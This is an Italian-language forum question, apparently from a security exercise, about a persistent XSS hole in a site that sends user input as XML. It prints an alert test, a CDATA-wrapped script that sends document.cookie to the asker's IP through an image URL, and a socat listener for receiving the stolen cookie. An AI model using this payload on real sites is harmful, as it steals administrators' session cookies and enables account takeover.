Due parti di questa domanda.
- Diciamo che c'è un sito che accetta il mio input e lo invia in formato XML al server. Quando inserisco l'input come mostrato qui: link
Il motivo per cui ho inserito il codice sopra il collegamento è perché non riesco a inserire il codice qui. Non è formattato correttamente.
Aggiunge una nuova riga nella risposta alla pagina HTML:
<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn
Ricevo persino un popup e il codice JavaScript viene eseguito correttamente.
Quindi, come ho capito, la pagina è vulnerabile a XSS persistente? Poiché tali voci sono persistenti nella pagina Web e ogni volta che ricarico la pagina Web, il javascript fa parte della risposta HTML.
- Ora voglio rubare il cookie dell'amministratore (questo fa parte di un esercizio in cui il server è remoto). Non è una rete locale.
Ho costruito il mio payload come mostrato di seguito:
<![CDATA[rn
<script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
]]>
Qui, ip_address è il mio indirizzo IP locale (come restituito da ifconfig).
Eseguo socat sul mio computer locale come mostrato di seguito:
socat TCP-LISTEN:80,reuseaddr,fork -
Ora, la mia domanda è: come posso ricevere il cookie amministratore utilizzando il metodo sopra?
Perché il server è remoto. Quando l'amministratore visita la pagina con XSS persistente, come mi verrà trasmesso il cookie di amministratore?
Devo fornire il mio indirizzo IP pubblico nell'URL dell'immagine precedente anziché l'indirizzo IP locale?